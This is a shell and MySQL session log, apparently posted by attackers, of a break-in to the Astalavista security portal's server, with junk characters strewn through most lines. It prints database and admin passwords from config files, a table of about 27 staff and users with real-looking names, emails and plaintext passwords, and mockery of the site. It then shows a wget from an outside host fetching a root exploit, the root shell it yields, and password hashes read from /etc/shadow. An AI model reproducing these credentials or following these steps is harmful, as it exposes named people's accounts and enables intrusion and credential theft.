! ?# U9 N4 |. b; L, ~0 Ndrwxr-x— 29 astanet apache 4096 Jan 6 13:58 ., g( M9 s; U7 o; Y2 ^
drwx–x–x 8 astanet astanet 4096 Dec 23 13:53 ..& k* N' }/ ^* h0 D
drwxr-xr-x 3 astanet astanet 4096 Dec 27 2006 _007+ X, b6 V: C7 P; q0 m
drwxr-xr-x 7 astanet astanet 4096 Jan 5 2006 _0mysql4 N4 _5 L; W/ U/ ~% f f
drwxr-xr-x 7 astanet astanet 4096 Dec 22 14:16 链接标记astanet@astalavista.com! A) D- a' c* c1 _" R. k
drwxrwxrwx 2 astanet astanet 4096 Jan 5 2006 backend% C C# A3 a% ?
drwxr-xr-x 2 astanet astanet 4096 Oct 24 2006 banner( K' Q6 u% t R+ g' V! d4 T6 o
-rw-r–r– 1 astanet astanet 25724 Apr 4 2006 banner.jpg4 F5 D( u: Z2 s( Q7 K& {0 R; o
drwxr-xr-x 2 astanet astanet 4096 Aug 11 2006 config) n$ g- T$ R3 T8 p8 q% R4 F
drwxr-xr-x 3 astanet astanet 4096 Jan 12 08:52 cron
: Y7 c A. T0 t2 @9 Fdrwxr-xr-x 11 astanet astanet 4096 Jan 5 2006 dvd
; n. ]! U; l8 d& w) a-rw-r–r– 1 astanet astanet 36 Jan 5 2006 error.php% z$ X8 c8 u/ L& S9 V9 h- J5 \2 Q
-rw-r–r– 1 astanet astanet 1406 Jan 5 2006 favicon.ico
0 H: l! @: P/ i6 z/ Y' v0 L9 jdrwxrwxrwx 2 astanet astanet 4096 Dec 15 2006 feed( a' _, i! o3 p7 f, t) F- {
drwxr-xr-x 3 astanet astanet 4096 Dec 8 2006 flashtour1 j6 f/ E) D# a3 r( Z- k% ~
-rw-r–r– 1 astanet astanet 18 Jan 5 2006 htaccess
$ C- G# k- B5 [" ?- m6 a1 D5 g-rw-r–r– 1 astanet astanet 585 Mar 24 14:50 .htaccess& L, r# J3 r0 T5 K
-rw-r–r– 1 astanet astanet 398 Jan 5 2006 index1.php: b9 q0 o" a& c+ D
-rw-r–r– 1 astanet astanet 1036 Jan 5 2006 _index.html
1 ~+ G; b( d7 d [; h6 O-rw-r–r– 1 astanet astanet 6880 Dec 23 14:44 index.php
) o' I" `, R; y8 U8 `1 R: g: \-rw-r–r– 1 astanet astanet 676 Mar 21 2006 index_redirect.php5 v3 b+ E4 D+ v7 x- d
-rw-r–r– 1 astanet astanet 739 Feb 24 2006 index.swf
- p) e3 f5 N8 @4 C8 `) rdrwxr-xr-x 4 astanet astanet 4096 Oct 18 2006 irc3 m/ Y# c- q) ]1 I" I) y; o
drwxr-xr-x 4 astanet astanet 4096 Aug 11 2006 lang& P. V. }9 f, v4 H
drwxr-xr-x 13 astanet astanet 4096 Sep 21 2006 lib, b6 }2 ^$ J& q" ]* L/ U* L
drwxr-xr-x 6 astanet astanet 4096 Aug 11 2006 log
7 a% q" {# Y7 f) [) U) t. z9 ydrwxr-xr-x 2 astanet astanet 4096 Jan 13 14:02 member& _4 L4 R! S& m- F/ w$ S: i; h% {0 t
drwxrwxrwx 5 astanet astanet 4096 Jun 4 00:03 memberdata" n4 @( \( S/ y& \. M! j
drwxr-xr-x 2 astanet astanet 4096 Jan 5 2006 new/ T( p4 N' ~9 A' i/ Z2 P: l( E% _
-rw-r–r– 1 astanet astanet 7219 Feb 24 2006 pix1.swf" M1 O/ ?3 @: h) x
drwxr-xr-x 2 astanet astanet 4096 Oct 27 2006 re
4 L5 V& v$ Z5 b2 s, X-rw-r–r– 1 astanet astanet 23 Jan 5 2006 robots.txt2 o! o! u2 P0 I4 O- q/ O; I }
drwxr-xr-x 3 astanet astanet 4096 Aug 11 2006 rss
* E( ~+ ~) W5 m# ?4 E( @/ ydrwxr-xr-x 39 astanet astanet 4096 Dec 13 2007 sources
4 B% H6 F6 ?2 Mdrwxrwxrwx 3 astanet astanet 4096 Feb 2 15:40 temp_com. U2 {6 Q& l1 Y+ U
drwxr-xr-x 7 astanet astanet 4096 Aug 11 2006 themes: F( ?! k c# @# P/ b% U# ~
drwxr-xr-x 2 astanet astanet 4096 Mar 14 2008 tmp_src
$ ~3 M. u' {# E' C8 B* w) [drwxr-xr-x 5 astanet astanet 4096 Aug 11 2006 tpl
9 t: a2 M0 l4 u& ]* R' S+ Wdrwxr-xr-x 3 astanet astanet 4096 Sep 7 2006 v22 w. ^" s7 e* g( v9 f' f; e( V4 P! O
drwxr-xr-x 16 astanet astanet 4096 Jul 5 2006 v2_old
) a n- U& l( U" V-rw-r–r– 1 astanet astanet 35 Dec 4 2006 webcash.php
6 j9 d. }1 b- w" ] ]3 }& \drwxr-xr-x 13 astanet astanet 4096 Sep 21 2006 wiki
6 r$ d% y% F- F1 n) M
$ e. N$ u$ i* x& g! fsh-3.2$ head -20 index.php
. K7 k$ U: y, c* v<?PHP! {+ j3 c9 j1 D4 I$ m
/**0 W& Q$ |' n- m4 h# q# k$ _
* Mainfile (external) for astalavistaNET v2.04 p% |" ?$ E- v
*- t. R0 Z) L7 {7 J
* @copyright Astalavista IT Engineering GmbH
) H; y! F$ ?0 |8 p5 b" R* @author Thomas Kaelin <链接标记thomas.kaelin@astalavista.ch>
Z+ N! }9 }- \% a5 P/ q* @version 1.0 c7 P' p! i' _& w8 m F; l
*/0 p) y. h; ^ }2 p3 k
" M( U: h( G" X0 N) V
if ($_SERVER['PHP_SELF'] == ‘/webcash.php’) {* s& W1 x* v0 B$ u5 z
$dontStartSession = false;
/ m& e/ i4 o, E0 x' A } else {7 G* M% A. I# B
$dontStartSession = true;
) c/ c! r1 ?* x }/ u; R5 I! z& E0 |7 A
require_once($_SERVER['DOCUMENT_ROOT'].’/config/com.conf.php’);. G, \2 Y. B B* O
require_once($_SERVER['DOCUMENT_ROOT'].’/config/ext.conf.php’);
1 s: M# P% Y. `* X require_once($_CONFIG['path_absolute'].$_CONFIG['path_init'].’com.class.php’);0 M' [2 a4 i& H! B. ?9 P
require_once($_CONFIG['path_absolute'].$_CONFIG['path_init'].’ext.class.php’);7 ~$ e; N3 H7 ~2 E
; M% C, }5 G4 {& b& w& csh-3.2$ cd config
6 X, i" S1 L; d0 q Psh-3.2$ ls -la
7 {* {+ p9 k% l% mtotal 32# }! A4 R$ A- E$ V3 U/ y
drwxr-xr-x 2 astanet astanet 4096 Aug 11 2006 .; ^4 b/ _9 ~" `6 z: V% W4 Q, \: B* O
drwxr-x— 29 astanet apache 4096 Jan 6 13:58 ..8 s, U$ H4 y% W; v8 K% e
-rw-r–r– 1 astanet astanet 987 Aug 11 2006 adm.conf.php
Q$ T1 e5 T- {) z-rw-r–r– 1 astanet astanet 4937 Dec 23 15:48 com.conf.php* l* Z) o! ?# G2 t$ [
-rw-r–r– 1 astanet astanet 913 Aug 11 2006 cron.conf.php
4 E) V8 J0 [; i# _/ k1 O: m-rw-r–r– 1 astanet astanet 1668 Aug 20 2008 ext.conf.php1 U4 L1 K: x# `
-rw-r–r– 1 astanet astanet 2724 May 30 2007 int.conf.php
7 m1 d& d* K. o' H# W
$ V) U% s0 Q& G" J9 B8 m. Rsh-3.2$ cat com.conf.php
2 t" h g$ k6 i% T" [# l9 k3 C[snip]
. ^: i) u( c6 s1 k! e i//member-database
' G) f6 [+ a! ] [$ ]; O$_CONFIG['db_mem_server'] = ‘localhost’;+ E% y; w0 P6 T4 f9 X: S' w: @ @
$_CONFIG['db_mem_database'] = ‘astanet_membersystem’;0 o2 [. @& ^+ ~ F5 o
$_CONFIG['db_mem_user'] = ‘astanet_db’;
( j6 U. |9 ~3 `& \- H i: f$_CONFIG['db_mem_password'] = ‘TXwVrC7hbq’;
3 n& [7 ^+ c6 g' G, f o' \$_CONFIG['db_mem_debug'] = false; //true or false
; z6 M4 r* o) ~& `+ V//ads-database
* ^% e5 Q, U! Z' |9 G3 j/ u$_CONFIG['db_ads_server'] = ‘localhost’;
! \1 N% m1 Q' k( M$_CONFIG['db_ads_database'] = ‘astanet_ads’;
. x7 i* v& O! l- [2 S$_CONFIG['db_ads_user'] = ‘astanet_db’;( e2 y3 E8 \! d O+ }
$_CONFIG['db_ads_password'] = ‘TXwVrC7hbq’;
: ~5 Y+ L& O! Z$_CONFIG['db_ads_debug'] = false; //true or false
O0 w1 ]( i w//rainbow-database. L% `" f: F' s6 y( N( J
$_CONFIG['db_rainbow_server'] = ‘212.254.194.163′;6 L7 K. |: O/ |( ]; ~ S
$_CONFIG['db_rainbow_database'] = ‘rainbow’;
% U. I U) H, N8 w$_CONFIG['db_rainbow_user'] = ‘dinu’;
' I0 H! z) A0 U$ ^ h9 {$_CONFIG['db_rainbow_password'] = ‘dinudinu’;
) D, o# B, I! C# x8 ~1 b% }$_CONFIG['db_rainbow_debug'] = false; //true or false
$ r" f! Z. _& V6 h; S+ w8 u3 @//mailing lists database! |8 {5 J2 R$ L& E4 N
$_CONFIG['db_mailing_lists_server'] = ‘localhost’;
# [ D) o s" g. A2 k5 O! O! \$_CONFIG['db_mailing_lists_database'] = ‘astanet_mailing_lists’;
* K) q1 N; }( f* V1 z- O$_CONFIG['db_mailing_lists_user'] = ‘astanet_db’;/ I; ?" d6 p1 h
$_CONFIG['db_mailing_lists_password'] = ‘TXwVrC7hbq’;
6 P3 `% i5 w' F" V$_CONFIG['db_mailing_lists_debug'] = false; //true or false
" E3 P2 g; q4 a1 o! m! s6 `//paypal
- T' ]7 Q) v% Q$_CONFIG['sub_pp_url'] = ‘链接标记[url]https://www.paypal.com/cgi-bin/webscr[/url]’;/ H7 i, R0 I2 T6 j( m/ D
$_CONFIG['sub_pp_cmd'] = ‘_xclick’;
9 V9 h" `6 T8 }0 L$_CONFIG['sub_pp_business'] = ‘链接标记info@astalavista.net’;
4 v! O# j: q. E) j/ w6 [* e$_CONFIG['sub_pp_noship'] = ‘1′;) v, x c" J8 f+ Y3 M. p( L
$_CONFIG['sub_pp_referer'] = ‘链接标记[url]https://www.paypal.com/[/url]’;" s Y+ n- w" Y
[snip]; }! d3 F# d. \# ^
2 e+ ?0 I9 _1 I; v' a% O/ j$ ]sh-3.2$ cd .. {# v5 `% E( D% [9 ?
sh-3.2$ cd member
2 Q; h: c0 w* qsh-3.2$ ls -la
+ P2 l) l: G) R( }total 20, \: G; x) ?( J4 w- |$ Y
drwxr-xr-x 2 astanet astanet 4096 Jan 13 14:02 .8 a( d, f5 B$ T/ h9 ~
drwxr-x— 29 astanet apache 4096 Jan 6 13:58 ..$ P8 S7 A" u- j0 k, @ D* |: T
-rw-r–r– 1 astanet astanet 19 Jan 13 14:02 .htaccess% N M+ h2 I5 H& q, f
-rwxr-xr-x 1 astanet astanet 6709 Jan 13 14:06 index.php
& `8 _ |% t4 x: G% i% @sh-3.2$ cat .htaccess
8 X+ m) A5 E; sSecFilterEngine off
: ~0 i$ B& R3 p- ^
" |+ O* ~- f) V1 v0 @sh-3.2$ cd ..
4 l7 o* D$ [5 T- T- v3 _2 Z: lsh-3.2$ cd cron
& \% {! H1 I! K3 i( psh-3.2$ ls -la9 N9 `( C7 D# `
total 1680 w2 i$ C& o8 Z0 Y. s% _3 J* a
drwxr-xr-x 3 astanet astanet 4096 Jan 12 08:52 .$ {. j; {+ z7 e1 k2 p" O4 v
drwxr-x— 29 astanet apache 4096 Jan 6 13:58 ..
: y' Y" S: k6 R. S) m' E-rw-r–r– 1 astanet astanet 1272 Jan 12 08:24 0_corefile.php
% _% B6 s9 x$ s: K ~; `8 p% F-rw-r–r– 1 astanet astanet 2356 Aug 11 2006 0_functions.php
" l( _# u) N0 X: f. t) z, K-rw-r–r– 1 astanet astanet 3616 Dec 23 15:44 1_daily.php- @" e) x! t* q8 k3 _4 w7 ?
-rw-r–r– 1 astanet astanet 527 Aug 11 2006 1_fivemin.php! `# U4 j5 M2 g7 O. M- j
-rw-r–r– 1 astanet astanet 5006 Dec 23 15:39 1_hourly.php" l+ z: U" w! |) O) Q ]
-rw-r–r– 1 astanet astanet 432 Aug 11 2006 1_weekly.php& o, n$ t( S& I( B/ }
-rw-r–r– 1 astanet astanet 2277 Aug 11 2006 2_advertising.php
c, L# a6 p8 q# z" t-rw-r–r– 1 astanet astanet 4882 Dec 23 15:40 2_archives.php
: x/ P- i/ {4 g. m" [/ ?0 [6 B% S7 N-rw-r–r– 1 astanet astanet 3784 Aug 16 2006 2_awstats.sh
! E6 g% ^8 Q* J/ l5 ?' W-rw-r–r– 1 astanet astanet 14894 Jan 12 08:51 2_expire.bak.php
4 [; c5 U: u% R: ^0 r; k-rw-r–r– 1 astanet astanet 14979 Jan 12 09:10 2_expire.php. d2 N0 l7 t* z2 Q
-rw-r–r– 1 astanet astanet 7657 Aug 15 2006 2_exploitree_updater.php. k* L% q; A O! ]3 ?/ D/ c
-rw-r–r– 1 astanet astanet 686 Dec 23 16:31 2_filesize.sh$ @$ _- R+ @. @
-rw-r–r– 1 astanet astanet 9853 Aug 11 2006 2_keywords_old.php0 h" W- T( ~# m \1 Y
-rw-r–r– 1 astanet astanet 15664 Sep 22 2006 2_keywords.php8 A+ D% g# F: |+ f
-rw-r–r– 1 astanet astanet 1233 Aug 11 2006 2_proxy_checker.php
2 H2 v9 u" G4 x6 ]* t- L-rw-r–r– 1 astanet astanet 7558 Aug 11 2006 2_proxy_collector.php' d! i0 H }5 R( |# s
-rw-r–r– 1 astanet astanet 796 Aug 11 2006 99_create_emails.php1 I9 d# |0 N* P7 T- A
drwxr-xr-x 2 astanet astanet 4096 Aug 11 2006 99_lang_email
9 b! a* A/ Z9 c4 a* i' N/ o/ d-rw-r–r– 1 astanet astanet 9622 Jan 6 16:04 login_reminder.php: D' u5 b, a. [
-rw-r–r– 1 astanet astanet 9620 Jan 6 16:05 login_reminder_test.php
0 o- X/ U) @8 H' i1 }6 Y: n& w* U, m, L
7 D7 v# ^) n4 f( Z; g9 c( `sh-3.2$ cd ..2 R* A! R. o3 ?: @ u. {3 U' v0 j
sh-3.2$ cd _007
. M+ U" o) I- g2 dsh-3.2$ ls -la' W4 q& ]' x/ p' m
total 24, ?, n% l1 T. Q# e! `
drwxr-xr-x 3 astanet astanet 4096 Dec 27 2006 .
5 t2 \5 p4 ]3 z4 g/ cdrwxr-x— 29 astanet apache 4096 Jan 6 13:58 ..! I8 Z9 J( r- |* p' A, X
-rw-r–r– 1 astanet astanet 96 Dec 23 15:17 .htaccess4 F; y1 P1 u* j3 d8 F N
-rw-r–r– 1 astanet astanet 3263 Jan 15 2007 index.php6 {2 {4 i/ R+ @, z/ |
-rw-r–r– 1 astanet astanet 20 Dec 27 2006 info.php
4 M' ]& p$ b$ A! N2 h, I" K. P8 }drwxr-xr-x 5 astanet astanet 4096 Aug 11 2006 sitemap
4 a2 ]( R; Z- L& t. c4 B W' ~6 c8 p9 N0 t5 K% r/ d. Q$ C0 z9 T2 F; m
sh-3.2$ cat .htaccess
4 [# \! j6 J; y$ z; q7 X1 ~authType Basic
# W$ T% i. Q0 ^# v* `# ?" |4 a& e p# eauthName Admin
7 s. C3 F) X; r5 s+ E3 |% o# mauthUserFile /home/astanet/auth/.htadm_pwd0 ~9 r4 ?" Z/ R& A" S$ D9 Z* o
require valid-user
7 r6 w6 Q- i" S0 L" B: x' P! U0 A! v, D4 i
sh-3.2$ cat /home/astanet/auth/.htadm_pwd* w; a. {1 I$ z' V
admin2net:CR0bl65MwhfT
, @( |* a, g: ~3 z/ F) J6 A" J% f5 b' ?, R7 ?1 `; _" {
sh-3.2$ mysql -u astanet_db -p( I; P/ Q9 c7 A( p3 q1 T9 [. z
Enter password:
( X4 v9 ^/ j# VWelcome to the MySQL monitor. Commands end with ; or \g.; x: B8 F7 H# {. m9 _$ ?
Your MySQL connection id is 2751535 k/ [7 s9 y, W- c6 h" g
Server version: 5.0.45-community-log MySQL Community Edition (GPL)8 h3 q- {7 S0 M
5 V0 d4 H/ Y+ m; Z- A6 s
Type ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the buffer.* v6 B! e2 v" y8 C' r0 f
. _5 Z3 V( H f6 [7 G' o
mysql> show databases;- ?. s3 Q- g3 X9 o7 V1 v% ~6 E
+———————–+. O# J. l8 @0 D1 I: {) u0 E
| Database |# l8 Q" Q [5 W0 S
+———————–+6 P! W0 ~4 m; d! P6 t$ x0 P3 y B
| information_schema |
" S* s% ?/ F% F$ j| astanet_ads |
7 S" ^5 K9 R# Q+ V5 }' J" J5 u| astanet_mailing_lists |
: n) p) A/ z* |, ~; }) C4 p| astanet_mediawiki |
3 W- U, Y& R" z| astanet_membersystem |: i8 b! I: {5 j+ s q
| test |
~: ^; \1 A; `, W8 K4 j+———————–+
- {) r/ n2 Q4 I2 U2 A" m/ H; Q6 rows in set (0.00 sec)
; v3 |/ m* W% t, \1 N. \. \- f5 w3 i ~, G
mysql> use astanet_membersystem
7 u( s8 X @, J" Z; ]! Q$ oDatabase changed( U3 x# \ j! c% m7 F6 a: U
mysql> show tables;8 W& j) u ~0 B9 J+ y
+———————————–+" X, M0 x3 t& A0 ^9 a
| Tables_in_astanet_membersystem |* l; h' c4 R) k% {: |6 z
+———————————–+: M9 \3 x( f4 t' f* A3 z. {
| blacklist_categories |
7 ?5 Z$ J1 \% w2 j- ^| blacklist_content |% y# Z! W% \6 v+ ?+ L+ S) ~; X
| blacklist_levels |1 }1 c' U" m6 I
| blacklist_mcset |
4 }# h, C# P a6 \| dir_categories |$ F# H1 N c8 }) N# U2 U; w
| dir_comments |, A4 j" g0 |2 O
| dir_links |8 w( S4 f, J6 l$ d9 o
| dir_temp |4 L% ^1 P5 P% C% u
| dir_votes |; K: Y: d4 [3 U% s8 ~/ k- u
| documents |) m) F- D" s! p! }3 t
| documents_categories |+ @ U0 n# y9 ~( r, O% F
| email_content |
& q4 o7 j5 `# Y) e. z| email_settings |5 ]& m0 e, _+ H2 b
| exploits |
8 c$ K% ^- s+ D, h" z| exploits_categories |+ ]$ a$ f" k( B1 Y
| exploittree_categories |2 W* |/ i0 K, Z: P2 M* ]
| exploittree_exploits |( g# u! g9 Q. U/ E) M8 H
| home_values |
, n& N3 e$ T2 h6 |; F2 D| iso_countries |
# S- ?! }! j& Q1 a| links_categories |
- b+ B& n* k+ }# i3 W| links_records |: H5 R9 V: i# P& t i' d; a
| links_unauth |
$ n6 M) m/ l5 c0 m8 K F( T| links_votes |
/ t; S, g5 C, R6 u( z$ S| log |8 b, _) C' g+ S
| news_categories |
# X5 H: F; V" p" M @0 o' C' Q6 S| news_comments |+ Q. x" Z' a, Z* C D9 {# y+ Y
| news_emoticons |3 z6 F* k9 a2 p0 t9 B$ Q
| news_latest |' z! h' B$ O# l: A- a; e6 d
| news_messages |7 J" a6 e' q8 E& Y9 N/ ~
| news_statistics |
0 D' \' A9 N* ^. h| news_votes |- _* a7 p, \" c: ] U6 ?
| prices_content |
' T7 d4 Q9 v9 B% E5 X2 M. F' G| prices_offers |, K9 y" t1 [ Y: h' W% x% K
| rss_settings |
# g: y/ B6 a; A% [% B| sessions |
' r) B, T7 g% Z3 a0 y3 u| stats_signups |7 I8 G# J/ f, a2 V& ^
| u2u2 |+ X& m9 K$ {) l6 J; b
| u2u_contact |
S/ @2 W: K" V# w+ x( _1 F| u2u_settings |
; ?* V& D6 r2 v7 ^| user_keywords_selected_categories |, A2 p+ f* `' W* K
| users |
/ B" m r$ d7 V' b, {4 p| users_ipn_test |
9 q% I$ A; U5 o" V9 e8 ~2 d| users_keyword_values |. w3 @ f8 p% m7 \8 g5 q$ x% H
| users_profile |) R) b: d' n* c0 q( S
| users_temp |7 e' |) [* `+ h* j& s/ L+ ^
| users_upgrade |
- O% _; @" Q' T/ \+———————————–+
1 }+ _* D6 d: J% O+ }/ v5 \2 k46 rows in set (0.00 sec)4 S; K! O; j' t& k- D
! w! s$ O0 J& a& j1 t. m0 z- v0 |7 Dmysql> describe users;
, p( Y) _+ G2 A& u% J6 f+ p5 ^+————————–+————————————–+——+—–+———————+—————-+
p% q @2 |, J9 j0 Z- _| Field | Type | Null | Key | Default | Extra |: G y% Y J' c( @3 I
+————————–+————————————–+——+—–+———————+—————-+0 m+ ^, [3 R& r; b9 R
| primary_key | smallint(5) unsigned | NO | PRI | NULL | auto_increment |0 d+ R1 @ Z- M+ b: E7 M4 O" z
| user | varchar(50) | NO | | | |
! p# g; \% l% k) a4 M| nickname | varchar(30) | NO | MUL | anonymous | |
+ y0 k' R* F* a0 @2 v| password | varchar(30) | NO | | | |) J) Y* X: g$ i" g) {4 C/ s
| userlevel | tinyint(3) | YES | MUL | NULL | |
0 C9 m7 {6 {/ k) q/ C9 ]| exp | int(8) unsigned | NO | | 0 | |
. y6 i: a/ h5 l: _1 O3 L. S| email | varchar(50) | NO | | | |
1 T- \+ Q8 e f4 \0 }* e| ip | varchar(15) | NO | | 0 | |
6 r; m" q9 t9 t) U* m" ?6 k| proxy | set(’0′,’1′) | NO | | 0 | |
" H% q, X. y$ @3 a| logtime | timestamp | NO | | CURRENT_TIMESTAMP | |
4 P# v, i* }. E" E: ^| login_reminder_last_sent | timestamp | NO | | 0000-00-00 00:00:00 | |6 [6 V! Q0 O3 F$ D8 {* L9 [
| anz_in | tinyint(1) | NO | | -1 | |
; y$ H6 v- k! Z5 O" H O) O" N| status | tinyint(1) unsigned | NO | | 0 | |3 f% F7 M8 r4 O4 r* T
| checked | set(’0′,’1′,’2′) | NO | | 0 | |% `3 g! {9 y G6 I( a! `) u, D
| freemember | set(’0′,’1′) | NO | | 0 | |
: Z6 \2 ~" w7 k0 z| ordertype | set(’transfer’,'wp’,'pp’,'mc’,'CnB’) | YES | | NULL | |7 I/ _2 i) ?6 l0 ]; S8 Y& J; A/ @5 _
| lang | tinytext | NO | | | |
' y/ W6 G+ b! N) q4 Y r| adid | smallint(6) | NO | | 0 | |
+ s% O# r( |: D| pp_txn_id | varchar(255) | YES | | NULL | |
. J* r' V+ @. a" K; D' f+ \8 d| cnb_transaction_id | varchar(255) | YES | | NULL | |8 y$ `+ [: [. C- X9 O# H6 @. D4 ^. ?
| cnb_order_id | varchar(255) | YES | | NULL | |, l) d5 v2 Q1 h6 I; {5 S
| cnb_user_id | int(11) | YES | | 0 | |
/ [7 C) Z# F3 C0 j% K2 k+————————–+————————————–+——+—–+———————+—————-++ H8 D `2 v6 I6 w2 O! u
22 rows in set (0.01 sec)
8 C; ~/ \ B5 S6 V
: y6 _7 A* a, f, Kmysql> select count(*) as skids from users;
% ?. R' _1 N% g) [/ Q! v- p+——-++ J) x5 q( m2 ?% q
| skids |$ a* [0 g7 y8 E+ L" w& c( j* F- z
+——-+
! q) W& Y2 ?' |/ y% F, A| 25199 |+ ?. X/ y9 h! `# |: k
+——-+
A7 V/ V2 ~3 r5 e1 row in set (0.00 sec)
3 {9 E6 z: b! b( l2 E2 l/ w& v1 h
$ m( u3 J9 ~& Wmysql> select user,nickname,password,email from users where userlevel = 1;
6 F! D- Y, d. g( z- g- e+————————–+———————-+——————+———————————–+! c" z9 h6 ^4 G5 k0 k# j* S* Q1 g) P
| user | nickname | password | email |5 M6 Q% n4 j5 U; j2 u
+————————–+———————-+——————+———————————–+% t, M7 z9 }4 |# X! y9 z
| pascal | prozac | astaman3 | 链接标记info@astalavista.net |. {: ^. E/ v. R$ b- ^9 N
| Ivan Schmid | rOOtless1 | astalavista4asta | 链接标记ivan.schmid@comvation.com | c9 j) a0 u9 s f4 D8 W
| qreymer | Palermo | qblsw85iam | 链接标记eche@home.se |
" ?( ]0 D% J3 U# w| Christian Wehrli | g0atherd | hitt?74 | 链接标记g0atherd@gmx.net |% I1 s$ `8 j( I) K$ l
| Andrew Blake | Minky | liq73uid | 链接标记a.blake@har.mrc.ac.uk |
2 y% Y G) T& T0 v: H| Martin Wyss | dinu | kj63;cXy | 链接标记martin.wyss@astalavista.net |2 t* ~5 q+ @6 a3 Y% S5 |# Q" w
| Leandro Nery | Timan_no_Sanco | nery2002 | 链接标记leandronery@hotmail.com |: {9 y9 V9 O: v% D
| shaving ryans privates | ShavingRyansPrivates | memberboard313 | 链接标记shavingryansprivates1@hotmail.com |
8 ]5 Z+ t, J( o" N% [' H| Gerben van der Lubbe | Spoofed Existence | Lb59eXg5 | 链接标记spoofedexistence@hotmail.com |
1 V8 K% F$ ^0 L7 g. Q| David M Lee | Daremo | icG12m03 | 链接标记daremo@hackerheaven.com |
H6 g/ w9 Z1 @| David Corn | akriel | ve3uB$cUku | 链接标记akriel@fallenroot.net |# w/ F! [$ h1 u$ o) T
| Thomas Kalin | Gwanun | QwErTy123 | 链接标记thomas.kaelin@astalavista.net |' J/ C7 C& D9 _7 `5 g2 n( D6 z d/ f
| Marcus unknown | Cra58cker | hhCr4ck06 | 链接标记unknownmarcus@hotmail.com |
* t7 G# R% a) r0 o6 p- z| David Ellis | dellis203 | philip | 链接标记dellis@nightwatchnss.com |
1 W K2 T( R" Q5 u6 J* b9 s| Lars Christian Solberg | xeor | tF3s4|Nea | 链接标记xeor@hush.com |
/ W$ s! W" p% v4 U; m1 ]( N| Paulo Santos | Be1er0ph0r1 | amor01 | 链接标记pmsantos@gmx.ch |2 H) ^. [# x( p6 d% X0 T" N+ ^/ n
| Thomas D?ppen | daha | asta4tom | 链接标记thomas.daeppen@astalavista.ch |! D: M4 R# m1 b, i5 B+ p9 R) t
| Touraj Abbasi Moghaddasi | -Crow1 | NetR0ck | 链接标记toraj.a.m@gmail.com | L) Y6 o/ _+ e# G, N% q6 M
| Fabius Bernet | traviser | wellenreiter100 | 链接标记fabius.bernet@astalavista.ch |
: V" z( |* j2 {8 ]| Zachary McElroy | duder1 | dirty245dix | 链接标记mcelroyzj@yahoo.com |
0 k' x H* ?0 B! n* ]$ X# k| Leron Cohen | cohen2 | leron4free | 链接标记leron@quiredmedia.com |3 B, `, v4 N, \( N; w
| Beatriz Pontes | anonymous1656 | pitas | 链接标记joao.pedro.pontes@gmail.com |+ }/ `( G" l/ y p% G
| Glafkos Charalambous | anonymous2086 | si99490178$# | 链接标记nowayout@webhostline.com |9 ^8 A3 f- d# ?5 w7 d ^
| developer COMVATION | anonymous2402 | Ri?Q$Q$MVU | 链接标记ivan.schmid@astalavista.ch |+ ?6 @( e; \, i; o) C: f, |
| Peter Fisher | cyph3r1 | testZer025435 | 链接标记cyph3r@astalavista.com |: l% U0 G3 E- l# B4 u7 E9 I
| sykadul | sykadul | ak29eral | 链接标记sykadul@gmail.com |
! v; g$ F' A8 Q3 |& P| Ronny Janzi | commander1 | mpbdaagf6m | 链接标记ronny.janzi@astalavista.ch |" n+ M$ t% l7 J; ?) N7 C7 |
+————————–+———————-+——————+———————————–+
# w3 k5 e: y6 Y6 F27 rows in set (0.00 sec)% y( H- F6 _9 ?
+ D' F' o, c) H* G3 \8 x8 Smysql> exit;0 Z2 {: j3 J, M2 s! e2 I5 K' {
Bye" B. Q1 k5 r' d# w; Y8 i# F8 g
- f( m3 [8 f3 {
[~] plaintext passwords? yes,
" R6 u/ @! C5 GThose so called “security professionals” who charge you $6.66 / month to
$ ~2 ~; D/ G. \+ lregister at their hack-proof portal, save your passwords in plaintext…
6 N9 Y$ D1 B1 S, e# H$ C9 V( rbrilliant!" t6 j2 w; A2 P# R
- ^/ M, s! C0 h7 s) Z$ C: Z0 C
[~] This been fun but we want more.: Z# h) w; ~' b1 `; o
/ h5 N7 K$ V, o% ^1 Nsh-3.2$ uname -a1 w7 t) r/ d+ i8 Z& i) g& y# d2 J. b
Linux asta1.astalavistaserver.com 2.6.18-128.1.10.el5 #1 SMP Thu May 7 10:35:59 EDT 2009 x86_64 x86_64 x86_64 GNU/Linux* u2 s7 m: g1 k; C: \
sh-3.2$ wget 链接标记[url]http://anti.sec.labs/g0troot[/url], _/ W8 r8 O" R8 V" U
–13:33:37– 链接标记[url]http://anti.sec.labs/g0troot[/url]6 s% }; q, r9 [( u
Resolving anti.sec.labs… 13.33.33.37) B. F- I1 |% n
Connecting to anti.sec.labs|13.33.33.37|:80… connected.* C I5 {2 j2 k: n+ A
HTTP request sent, awaiting response… 200 OK6 J+ l( D( I" T/ Q7 T/ L" W
Length: 18200 (18K) [text/plain]
3 f3 Y3 ~- _& v9 CSaving to: `g0troot’
8 }/ B$ a' T: u; _7 d% j
4 s/ Z9 X) |8 X100%[=========================================================================================================================================>] 18,200 58.6K/s in
) |& F/ h- [5 @) J( ?) m5 [7 W1 a0.3s1 x9 \* m1 c0 b2 `! S+ Q( S3 v+ Z
9 H7 e6 A8 S* ]; f
18:55:14 (58.6 KB/s) - `g0troot’ saved [18200/18200]
- [' V4 W' w) I! m3 H
4 G' F. j; `3 w/ T: K1 a1 j# Esh-3.2$ ./g0troot -i x86_64; M! f+ M$ W- B
[+] g0troot - anti.sec.labs
& ?4 ?5 a o- [2 u) U: b# a2 \( E9 A9 ?. \[+] Target: 2.6.18-128.1.10.el52 \' R8 \$ n4 I3 S- |( {! s3 x
[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~>]
) _9 W) g; h6 r$ `& H8 x5 j4 e* f4 W' p$ T4 \! a1 v
[+] r00tr00t7 f2 U5 p" {4 Z- f: K' j
[~] Executing shell…* V, J- L: |7 O
) T: r! M9 A4 G. ~+ K% I4 h7 w
sh-3.2# id4 R; l1 @( n( e# y7 _5 w! W' o
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel). o+ Y$ q8 D1 o
: a& M" j9 L) V" a* i8 l
sh-3.2# cat /etc/shadow
( i: V( S- c7 x& ~2 Droot 1$P/3ZMAgv$E9B4mX02s1Xrimj46V602.:14015:0:99999:7:::
8 M7 | h: c' I) \7 T3 Q[snip]8 E0 G Y3 r* }3 f' C, M E
admin1$sbycsEGo$d81laShnxFiziFaQMH32F.:13770:0:99999:7:::# p" d. B0 {" R Y8 J$ q
